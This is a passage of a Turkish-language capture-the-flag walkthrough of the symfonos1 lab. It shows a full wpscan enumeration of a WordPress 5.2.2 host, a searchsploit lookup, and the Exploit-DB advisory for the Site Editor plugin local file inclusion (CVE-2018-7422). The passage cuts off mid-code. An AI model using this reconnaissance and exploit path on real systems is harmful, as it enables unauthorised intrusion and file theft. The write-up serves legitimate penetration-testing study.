kullan\u0131c\u0131s\u0131n\u0131 yakalad\u0131m ancak i\u015fime yaramad\u0131. <\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~\/oscp\/symfonos1]\n\u2514\u2500# wpscan --url http:\/\/192.168.31.140\/h3l105\/ -e vp,vt,cb,u --api-token **************************** \n_______________________________________________________________\n         __          _______   _____\n         \\ \\        \/ \/  __ \\ \/ ____|\n          \\ \\  \/\\  \/ \/| |__) | (___   ___  __ _ _ __ \u00ae\n           \\ \\\/  \\\/ \/ |  ___\/ \\___ \\ \/ __|\/ _` | &#039;_ \\\n            \\  \/\\  \/  | |     ____) | (__| (_| | | | |\n             \\\/  \\\/   |_|    |_____\/ \\___|\\__,_|_| |_|\n\n         WordPress Security Scanner by the WPScan Team\n                         Version 3.8.17\n       Sponsored by Automattic - https:\/\/automattic.com\/\n       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart\n_______________________________________________________________\n\n[+] URL: http:\/\/192.168.31.140\/h3l105\/ [192.168.31.140]\n[+] Started: Thu Jun 24 18:02:05 2021\n\nInteresting Finding(s):\n\n[+] Headers\n | Interesting Entry: Server: Apache\/2.4.25 (Debian)\n | Found By: Headers (Passive Detection)\n | Confidence: 100%\n\n[+] XML-RPC seems to be enabled: http:\/\/192.168.31.140\/h3l105\/xmlrpc.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n | References:\n |  - http:\/\/codex.wordpress.org\/XML-RPC_Pingback_API\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_ghost_scanner\/\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/dos\/http\/wordpress_xmlrpc_dos\/\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_xmlrpc_login\/\n |  - https:\/\/www.rapid7.com\/db\/modules\/auxiliary\/scanner\/http\/wordpress_pingback_access\/\n\n[+] WordPress readme found: http:\/\/192.168.31.140\/h3l105\/readme.html\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] Upload directory has listing enabled: http:\/\/192.168.31.140\/h3l105\/wp-content\/uploads\/\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 100%\n\n[+] The external WP-Cron seems to be enabled: http:\/\/192.168.31.140\/h3l105\/wp-cron.php\n | Found By: Direct Access (Aggressive Detection)\n | Confidence: 60%\n | References:\n |  - https:\/\/www.iplocation.net\/defend-wordpress-from-ddos\n |  - https:\/\/github.com\/wpscanteam\/wpscan\/issues\/1299\n\n[+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).\n | Found By: Emoji Settings (Passive Detection)\n |  - http:\/\/192.168.31.140\/h3l105\/, Match: &#039;wp-includes\\\/js\\\/wp-emoji-release.min.js?ver=5.2.2&#039;\n | Confirmed By: Meta Generator (Passive Detection)\n |  - http:\/\/192.168.31.140\/h3l105\/, Match: &#039;WordPress 5.2.2&#039;\n |\n | [!] 31 vulnerabilities identified:\n |\n | [!] Title: WordPress 5.2.2 - Cross-Site Scripting (XSS) in Stored Comments\n |     Fixed in: 5.2.3\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/1b880386-021d-43b1-9988-e196955c7a3e\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16218\n |      - https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\n |\n | [!] Title: WordPress 5.2.2 - Authenticated Cross-Site Scripting (XSS) in Post Previews\n |     Fixed in: 5.2.3\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/140eece9-0cf9-4e0f-81c9-c22955588548\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16223\n |      - https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\n |\n | [!] Title: WordPress 5.2.2 - Potential Open Redirect\n |     Fixed in: 5.2.3\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/a5fa3ed3-aaf0-4b2f-bead-b1d2956e3403\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16220\n |      - https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/c86ee39ff4c1a79b93c967eb88522f5c09614a28\n |\n | [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews\n |     Fixed in: 5.2.3\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/8aca2325-14b8-4b9d-94bd-d20b2c3b0c77\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16219\n |      - https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\n |      - https:\/\/fortiguard.com\/zeroday\/FG-VD-18-165\n |      - https:\/\/www.fortinet.com\/blog\/threat-research\/wordpress-core-stored-xss-vulnerability.html\n |\n | [!] Title: WordPress 5.2.2 - Cross-Site Scripting (XSS) in Dashboard\n |     Fixed in: 5.2.3\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/6034fc8a-c418-467a-a7cf-893d1524447e\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16221\n |      - https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\n |\n | [!] Title: WordPress &lt;= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation\n |     Fixed in: 5.2.3\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/4494a903-5a73-4cad-8c14-1e7b4da2be61\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16222\n |      - https:\/\/wordpress.org\/news\/2019\/09\/wordpress-5-2-3-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/30ac67579559fe42251b5a9f887211bf61a8ed68\n |      - https:\/\/hackerone.com\/reports\/339483\n |\n | [!] Title: WordPress &lt;= 5.2.3 - Stored XSS in Customizer\n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/d39a7b84-28b9-4916-a2fc-6192ceb6fa56\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17674\n |      - https:\/\/wordpress.org\/news\/2019\/10\/wordpress-5-2-4-security-release\/\n |      - https:\/\/blog.wpscan.com\/wordpress\/security\/release\/2019\/10\/15\/wordpress-524-security-release-breakdown.html\n |\n | [!] Title: WordPress &lt;= 5.2.3 - Unauthenticated View Private\/Draft Posts\n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/3413b879-785f-4c9f-aa8a-5a4a1d5e0ba2\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17671\n |      - https:\/\/wordpress.org\/news\/2019\/10\/wordpress-5-2-4-security-release\/\n |      - https:\/\/blog.wpscan.com\/wordpress\/security\/release\/2019\/10\/15\/wordpress-524-security-release-breakdown.html\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/f82ed753cf00329a5e41f2cb6dc521085136f308\n |      - https:\/\/0day.work\/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts\/\n |\n | [!] Title: WordPress &lt;= 5.2.3 - Stored XSS in Style Tags\n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/d005b1f8-749d-438a-8818-21fba45c6465\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17672\n |      - https:\/\/wordpress.org\/news\/2019\/10\/wordpress-5-2-4-security-release\/\n |      - https:\/\/blog.wpscan.com\/wordpress\/security\/release\/2019\/10\/15\/wordpress-524-security-release-breakdown.html\n |\n | [!] Title: WordPress &lt;= 5.2.3 - JSON Request Cache Poisoning\n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/7804d8ed-457a-407e-83a7-345d3bbe07b2\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17673\n |      - https:\/\/wordpress.org\/news\/2019\/10\/wordpress-5-2-4-security-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/b224c251adfa16a5f84074a3c0886270c9df38de\n |      - https:\/\/blog.wpscan.com\/wordpress\/security\/release\/2019\/10\/15\/wordpress-524-security-release-breakdown.html\n |\n | [!] Title: WordPress &lt;= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation \n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/26a26de2-d598-405d-b00c-61f71cfacff6\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17669\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17670\n |      - https:\/\/wordpress.org\/news\/2019\/10\/wordpress-5-2-4-security-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/9db44754b9e4044690a6c32fd74b9d5fe26b07b2\n |      - https:\/\/blog.wpscan.com\/wordpress\/security\/release\/2019\/10\/15\/wordpress-524-security-release-breakdown.html\n |\n | [!] Title: WordPress &lt;= 5.2.3 - Admin Referrer Validation\n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/715c00e3-5302-44ad-b914-131c162c3f71\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-17675\n |      - https:\/\/wordpress.org\/news\/2019\/10\/wordpress-5-2-4-security-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0\n |      - https:\/\/blog.wpscan.com\/wordpress\/security\/release\/2019\/10\/15\/wordpress-524-security-release-breakdown.html\n |\n | [!] Title: WordPress &lt;= 5.3 - Authenticated Improper Access Controls in REST API\n |     Fixed in: 5.2.5\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/4a6de154-5fbd-4c80-acd3-8902ee431bd8\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-20043\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16788\n |      - https:\/\/wordpress.org\/news\/2019\/12\/wordpress-5-3-1-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-g7rg-hchx-c2gw\n |\n | [!] Title: WordPress &lt;= 5.3 - Authenticated Stored XSS via Crafted Links\n |     Fixed in: 5.2.5\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/23553517-34e3-40a9-a406-f3ffbe9dd265\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16773\n |      - https:\/\/wordpress.org\/news\/2019\/12\/wordpress-5-3-1-security-and-maintenance-release\/\n |      - https:\/\/hackerone.com\/reports\/509930\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/commit\/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-xvg2-m2f4-83m7\n |\n | [!] Title: WordPress &lt;= 5.3 - Authenticated Stored XSS via Block Editor Content\n |     Fixed in: 5.2.5\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/be794159-4486-4ae1-a5cc-5c190e5ddf5f\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16781\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-16780\n |      - https:\/\/wordpress.org\/news\/2019\/12\/wordpress-5-3-1-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-pg4x-64rh-3c9v\n |\n | [!] Title: WordPress &lt;= 5.3 - wp_kses_bad_protocol() Colon Bypass\n |     Fixed in: 5.2.5\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/8fac612b-95d2-477a-a7d6-e5ec0bb9ca52\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2019-20041\n |      - https:\/\/wordpress.org\/news\/2019\/12\/wordpress-5-3-1-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/commit\/b1975463dd995da19bb40d3fa0786498717e3c53\n |\n | [!] Title: WordPress &lt; 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated\n |     Fixed in: 5.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/7db191c0-d112-4f08-a419-a1cd81928c4e\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-11027\n |      - https:\/\/wordpress.org\/news\/2020\/04\/wordpress-5-4-1\/\n |      - https:\/\/core.trac.wordpress.org\/changeset\/47634\/\n |      - https:\/\/www.wordfence.com\/blog\/2020\/04\/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-ww7v-jg8c-q6jw\n |\n | [!] Title: WordPress &lt; 5.4.1 - Unauthenticated Users View Private Posts\n |     Fixed in: 5.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/d1e1ba25-98c9-4ae7-8027-9632fb825a56\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-11028\n |      - https:\/\/wordpress.org\/news\/2020\/04\/wordpress-5-4-1\/\n |      - https:\/\/core.trac.wordpress.org\/changeset\/47635\/\n |      - https:\/\/www.wordfence.com\/blog\/2020\/04\/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-xhx9-759f-6p2w\n |\n | [!] Title: WordPress &lt; 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer\n |     Fixed in: 5.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/4eee26bd-a27e-4509-a3a5-8019dd48e429\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-11025\n |      - https:\/\/wordpress.org\/news\/2020\/04\/wordpress-5-4-1\/\n |      - https:\/\/core.trac.wordpress.org\/changeset\/47633\/\n |      - https:\/\/www.wordfence.com\/blog\/2020\/04\/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-4mhg-j6fx-5g3c\n |\n | [!] Title: WordPress &lt; 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block\n |     Fixed in: 5.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/e4bda91b-067d-45e4-a8be-672ccf8b1a06\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-11030\n |      - https:\/\/wordpress.org\/news\/2020\/04\/wordpress-5-4-1\/\n |      - https:\/\/core.trac.wordpress.org\/changeset\/47636\/\n |      - https:\/\/www.wordfence.com\/blog\/2020\/04\/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-vccm-6gmc-qhjh\n |\n | [!] Title: WordPress &lt; 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache\n |     Fixed in: 5.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/e721d8b9-a38f-44ac-8520-b4a9ed6a5157\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-11029\n |      - https:\/\/wordpress.org\/news\/2020\/04\/wordpress-5-4-1\/\n |      - https:\/\/core.trac.wordpress.org\/changeset\/47637\/\n |      - https:\/\/www.wordfence.com\/blog\/2020\/04\/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-568w-8m88-8g2c\n |\n | [!] Title: WordPress &lt; 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads\n |     Fixed in: 5.2.6\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/55438b63-5fc9-4812-afc4-2f1eff800d5f\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-11026\n |      - https:\/\/wordpress.org\/news\/2020\/04\/wordpress-5-4-1\/\n |      - https:\/\/core.trac.wordpress.org\/changeset\/47638\/\n |      - https:\/\/www.wordfence.com\/blog\/2020\/04\/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-3gw2-4656-pfr2\n |      - https:\/\/hackerone.com\/reports\/179695\n |\n | [!] Title: WordPress &lt;= 5.2.3 - Hardening Bypass\n |     Fixed in: 5.2.4\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/378d7df5-bce2-406a-86b2-ff79cd699920\n |      - https:\/\/blog.ripstech.com\/2020\/wordpress-hardening-bypass\/\n |      - https:\/\/hackerone.com\/reports\/436928\n |      - https:\/\/wordpress.org\/news\/2019\/11\/wordpress-5-2-4-update\/\n |\n | [!] Title: WordPress &lt; 5.4.2 - Authenticated XSS in Block Editor\n |     Fixed in: 5.2.7\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/831e4a94-239c-4061-b66e-f5ca0dbb84fa\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-4046\n |      - https:\/\/wordpress.org\/news\/2020\/06\/wordpress-5-4-2-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-rpwf-hrh2-39jf\n |      - https:\/\/pentest.co.uk\/labs\/research\/subtle-stored-xss-wordpress-core\/\n |      - https:\/\/www.youtube.com\/watch?v=tCh7Y8z8fb4\n |\n | [!] Title: WordPress &lt; 5.4.2 - Authenticated XSS via Media Files\n |     Fixed in: 5.2.7\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/741d07d1-2476-430a-b82f-e1228a9343a4\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-4047\n |      - https:\/\/wordpress.org\/news\/2020\/06\/wordpress-5-4-2-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-8q2w-5m27-wm27\n |\n | [!] Title: WordPress &lt; 5.4.2 - Open Redirection\n |     Fixed in: 5.2.7\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/12855f02-432e-4484-af09-7d0fbf596909\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-4048\n |      - https:\/\/wordpress.org\/news\/2020\/06\/wordpress-5-4-2-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/10e2a50c523cf0b9785555a688d7d36a40fbeccf\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-q6pw-gvf4-5fj5\n |\n | [!] Title: WordPress &lt; 5.4.2 - Authenticated Stored XSS via Theme Upload\n |     Fixed in: 5.2.7\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/d8addb42-e70b-4439-b828-fd0697e5d9d4\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-4049\n |      - https:\/\/www.exploit-db.com\/exploits\/48770\/\n |      - https:\/\/wordpress.org\/news\/2020\/06\/wordpress-5-4-2-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-87h4-phjv-rm6p\n |      - https:\/\/hackerone.com\/reports\/406289\n |\n | [!] Title: WordPress &lt; 5.4.2 - Misuse of set-screen-option Leading to Privilege Escalation\n |     Fixed in: 5.2.7\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/b6f69ff1-4c11-48d2-b512-c65168988c45\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-4050\n |      - https:\/\/wordpress.org\/news\/2020\/06\/wordpress-5-4-2-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/dda0ccdd18f6532481406cabede19ae2ed1f575d\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-4vpv-fgg2-gcqc\n |\n | [!] Title: WordPress &lt; 5.4.2 - Disclosure of Password-Protected Page\/Post Comments\n |     Fixed in: 5.2.7\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/eea6dbf5-e298-44a7-9b0d-f078ad4741f9\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-25286\n |      - https:\/\/wordpress.org\/news\/2020\/06\/wordpress-5-4-2-security-and-maintenance-release\/\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/c075eec24f2f3214ab0d0fb0120a23082e6b1122\n |\n | [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure\n |     Fixed in: 5.2.10\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/6a3ec618-c79e-4b9c-9020-86b157458ac5\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2021-29450\n |      - https:\/\/wordpress.org\/news\/2021\/04\/wordpress-5-7-1-security-and-maintenance-release\/\n |      - https:\/\/blog.wpscan.com\/2021\/04\/15\/wordpress-571-security-vulnerability-release.html\n |      - https:\/\/github.com\/WordPress\/wordpress-develop\/security\/advisories\/GHSA-pmmh-2f36-wvhq\n |      - https:\/\/core.trac.wordpress.org\/changeset\/50717\/\n |      - https:\/\/www.youtube.com\/watch?v=J2GXmxAdNWs\n |\n | [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer\n |     Fixed in: 5.2.11\n |     References:\n |      - https:\/\/wpscan.com\/vulnerability\/4cd46653-4470-40ff-8aac-318bee2f998d\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2020-36326\n |      - https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2018-19296\n |      - https:\/\/github.com\/WordPress\/WordPress\/commit\/267061c9595fedd321582d14c21ec9e7da2dcf62\n |      - https:\/\/wordpress.org\/news\/2021\/05\/wordpress-5-7-2-security-release\/\n |      - https:\/\/github.com\/PHPMailer\/PHPMailer\/commit\/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9\n |      - https:\/\/www.wordfence.com\/blog\/2021\/05\/wordpress-5-7-2-security-release-what-you-need-to-know\/\n |      - https:\/\/www.youtube.com\/watch?v=HaW15aMzBUM\n\n[i] The main theme could not be detected.\n\n[+] Enumerating Vulnerable Plugins (via Passive Methods)\n\n[i] No plugins Found.\n\n[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)\n Checking Known Locations - Time: 00:00:00 &lt;==============================================================================================================================================================&gt; (352 \/ 352) 100.00% Time: 00:00:00\n\n[i] No themes Found.\n\n[+] Enumerating Config Backups (via Passive and Aggressive Methods)\n Checking Config Backups - Time: 00:00:00 &lt;===============================================================================================================================================================&gt; (137 \/ 137) 100.00% Time: 00:00:00\n\n[i] No Config Backups Found.\n\n[+] Enumerating Users (via Passive and Aggressive Methods)\n Brute Forcing Author IDs - Time: 00:00:00 &lt;================================================================================================================================================================&gt; (10 \/ 10) 100.00% Time: 00:00:00\n\n[i] User(s) Identified:\n\n[+] admin\n | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)\n | Confirmed By: Login Error Messages (Aggressive Detection)\n\n[+] WPScan DB API OK\n | Plan: free\n | Requests Done (during the scan): 1\n | Requests Remaining: 24\n\n[+] Finished: Thu Jun 24 18:02:08 2021\n[+] Requests Done: 541\n[+] Cached Requests: 4\n[+] Data Sent: 147.36 KB\n[+] Data Received: 212.23 KB\n[+] Memory used: 211.102 MB\n[+] Elapsed time: 00:00:03<\/code><\/pre>\n<p><strong><a href=\"http:\/\/192.168.31.140\/h3l105\/wp-content\/uploads\/siteeditor\/\">http:\/\/192.168.31.140\/h3l105\/wp-content\/uploads\/siteeditor\/<\/a><\/strong> k\u0131sm\u0131nda bir plugin yakalad\u0131m ve ara\u015ft\u0131rd\u0131m.<\/p>\n<pre><code class=\"language-sh\">\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# searchsploit site editor\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title                                                                                                                                                                                              |  Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nApple WebKit \/ Safari 10.0.3(12602.4.8) - &#039;Editor::Command::execute&#039; Universal Cross-Site Scripting                                                                                                         | multiple\/webapps\/42064.html\nCityPost PHP Image Editor M1\/M2\/M3\/Imgsrc\/M4 - &#039;URI&#039; Cross-Site Scripting                                                                                                                                   | php\/webapps\/25459.txt\nCKEditor - &#039;posteddata.php&#039; Cross-Site Scripting                                                                                                                                                            | php\/webapps\/38322.txt\nDjango CMS 3.3.0 - Editor Snippet Persistent Cross-Site Scripting                                                                                                                                           | python\/webapps\/40129.txt\nDreambox Plugin BouquetEditor - Cross-Site Scripting                                                                                                                                                        | hardware\/webapps\/42986.txt\nDrupal Module CKEditor 3.0 &lt; 3.6.2 - Persistent EventHandler Cross-Site Scripting                                                                                                                           | php\/webapps\/18389.txt\nDrupal Module CKEditor &lt; 4.1WYSIWYG (Drupal 6.x\/7.x) - Persistent Cross-Site Scripting                                                                                                                      | php\/webapps\/25493.txt\nEasySite 2.0 - &#039;image_editor.php&#039; Remote File Inclusion                                                                                                                                                     | php\/webapps\/31588.txt\nFCKEditor Core - &#039;Editor &#039;spellchecker.php&#039; Cross-Site Scripting                                                                                                                                            | php\/webapps\/37457.html\nFlexCMS 2.5 - &#039;inc-core-admin-editor-previouscolorsjs.php&#039; Cross-Site Scripting                                                                                                                             | php\/webapps\/32254.txt\nJax PHP Scripts 1.0\/1.34\/2.14\/3.31 - &#039;dwt_editor.php&#039; Multiple Cross-Site Scripting Vulnerabilities                                                                                                         | php\/webapps\/26081.txt\nKim Websites 1.0 - &#039;FCKeditor&#039; Arbitrary File Upload                                                                                                                                                        | php\/webapps\/6410.txt\nKindEditor - &#039;name&#039; Cross-Site Scripting                                                                                                                                                                    | php\/webapps\/37652.txt\nMambo Open Source 4.6.2 - &#039;\/mambots\/editors\/mostlyce\/&#039; PHP\/connector.php?Query String Cross-Site Scripting                                                                                                  | php\/webapps\/32253.txt\nMoinMoin 1.x - &#039;PageEditor.py&#039; Cross-Site Scripting                                                                                                                                                         | cgi\/webapps\/34080.txt\nMyBB Visual Editor 1.8.18 - Cross-Site Scripting                                                                                                                                                            | php\/webapps\/45449.txt\nNakid CMS 1.0.2 - &#039;CKEditorFuncNum&#039; Cross-Site Scripting                                                                                                                                                    | php\/webapps\/35829.txt\nNetwork Weathermap 0.97a - &#039;editor.php&#039; Persistent Cross-Site Scripting                                                                                                                                     | php\/webapps\/24913.txt\nocPortal 7.1.5 - &#039;code_editor.php&#039; Multiple Cross-Site Scripting Vulnerabilities                                                                                                                            | php\/webapps\/37022.txt\nOrbis CMS 1.0.2 - &#039;editor-body.php&#039; Cross-Site Scripting                                                                                                                                                    | php\/webapps\/34253.txt\nPlesk Small Business Manager 10.2.0 and Site Editor - Multiple Vulnerabilities                                                                                                                              | php\/webapps\/15313.txt\npragmaMx 1.12.1 - &#039;\/includes\/wysiwyg\/spaw\/editor\/plugins\/imgpopup\/img_popup.php?img_url&#039; Cross-Site Scripting                                                                                               | php\/webapps\/37313.txt\nSite@School 2.4.10 - &#039;FCKeditor&#039; Session Hijacking \/ Arbitrary File Upload                                                                                                                                  | php\/webapps\/6005.php\nSiteWare 2.5\/3.0\/3.1 Editor Desktop - Directory Traversal                                                                                                                                                   | java\/webapps\/20925.txt\nSnippetMaster Webpage Editor 2.2.2 - Remote File Inclusion \/ Cross-Site Scripting                                                                                                                           | php\/webapps\/8017.txt\nWordPress Plugin Site Editor 1.1.1 - Local File Inclusion                                                                                                                                                   | php\/webapps\/44340.txt\nWordPress Plugin User Role Editor 3.12 - Cross-Site Request Forgery                                                                                                                                         | php\/webapps\/25721.txt\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# \n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# \n\n\u250c\u2500\u2500(root&#x1f480;kali)-[~]\n\u2514\u2500# cat $(locate php\/webapps\/44340.txt)\nProduct: Site Editor WordPress Plugin - https:\/\/wordpress.org\/plugins\/site-editor\/\nVendor: Site Editor\nTested version: 1.1.1\nCVE ID: CVE-2018-7422\n\n** CVE description **\nA Local File Inclusion vulnerability in the Site Editor plugin through 1.1.1 for WordPress allows remote attackers to retrieve arbitrary files via the ajax_path parameter to editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php.\n\n** Technical details **\nIn site-editor\/editor\/extensions\/pagebuilder\/includes\/ajax_shortcode_pattern.php:5, the value of the ajax_path parameter is used for including a file with PHP\u2019s require_once(). This parameter can be controlled by an attacker and is not properly sanitized.\n\nVulnerable code:\nif( isset( $_REQUEST[&#039;ajax_path&#039;] ) &amp;&amp; 